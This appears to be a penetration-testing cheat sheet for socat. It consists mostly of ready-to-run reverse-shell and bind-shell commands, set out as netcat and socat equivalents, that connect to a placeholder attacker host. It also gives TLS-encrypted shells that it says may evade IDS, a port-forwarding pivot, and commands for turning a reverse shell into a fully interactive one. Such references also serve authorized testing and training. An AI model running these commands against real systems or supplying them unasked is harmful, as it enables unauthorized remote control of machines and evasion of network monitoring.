socat

socat (SOcket CAT) is a command-line utility that establishes two bidirectional byte streams and transfers data between them. It is a general-purpose relay: one side can be a TCP/UDP/SSL socket, a file, a pipe, or a PTY, and the other side can be any of the same. This makes it a far more flexible successor to netcat.

socat vs. netcat

# Reverse shell (attacker listener)
nc -lnp $LISTENER_PORT
socat TCP-LISTEN:$LISTENER_PORT -
 
# Reverse shell (target)
nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash
socat TCP:$ATTACKER_IP:$LISTENER_PORT EXEC:"/bin/bash -li"
 
# Bind shell (target listener)
nc -lnp $LISTENER_PORT -e /bin/bash
socat TCP-LISTEN:$LISTENER_PORT EXEC:"/bin/bash -li"
 
# Bind shell (attacker)
nc $TARGET_IP $LISTENER_PORT
socat TCP:$TARGET_IP:$LISTENER_PORT

socat gives an interactive login shell immediately, but Ctrl+C will still kill the session unless stabilized. When binding to PowerShell, use powershell.exe,pipes to force UNIX-style STDIN/STDOUT.

Encrypted shells

socat can wrap connections in TLS/SSL using OpenSSL addresses, which foils network analysis and may evade IDS.

# Generate a self-signed certificate
openssl req --newkey rsa:2048 -nodes \
            -keyout shell.key -x509 -days 362 \
            -out shell.crt
 
# Combine key and certificate into a PEM
cat shell.key shell.crt > shell.pem
 
# Attacker listener
socat OPENSSL-LISTEN:$LISTENER_PORT,cert=shell.pem,verify=0 -
 
# Target reverse shell
socat OPENSSL:$ATTACKER_IP:$LISTENER_PORT,verify=0 EXEC:"/bin/bash -li"

verify=0 disables certificate validation, so the connection is encrypted but not authenticated.

Port forwarding

socat cannot forward connections back to the attacker’s machine like SSH can. Instead, it opens a listening port on the pivot host that the attacker connects to, and relays traffic to the final target.

# Pivot: listen on $LOCAL_PORT, forward to $TARGET_IP:$TARGET_PORT
socat TCP4-LISTEN:$LOCAL_PORT,fork TCP4:$TARGET_IP:$TARGET_PORT

On Windows, a firewall rule must be added for $LOCAL_PORT.

Automatic reverse-shell stabilization

socat can allocate a PTY and pass terminal settings automatically, producing a fully interactive shell without manual stty commands.

# Attacker: connect listener to current TTY in raw mode, no echo
socat TCP-LISTEN:$LISTENER_PORT FILE:`tty`,raw,echo=0
 
# Target: connect to attacker and spawn an interactive login bash
#   pty    — allocate a PTY
#   stderr — redirect STDERR to attacker
#   sigint — pass Ctrl+C through
#   setsid — new session
#   sane   — normalize terminal settings
socat TCP:$ATTACKER_IP:$LISTENER_PORT \
      EXEC:"/bin/bash -li",pty,stderr,sigint,setsid,sane

Same pattern over TLS:

# Attacker
socat OPENSSL-LISTEN:$LISTENER_PORT,cert=$PEM_FILE,verify=0 \
      FILE:`tty`,raw,echo=0
 
# Target
socat OPENSSL:$ATTACKER_IP:$LISTENER_PORT,verify=0 \
      EXEC:"/bin/bash -li",pty,stderr,sigint,setsid,sane

The terminal size is not propagated; set it manually with stty rows and stty cols after connecting.

Sources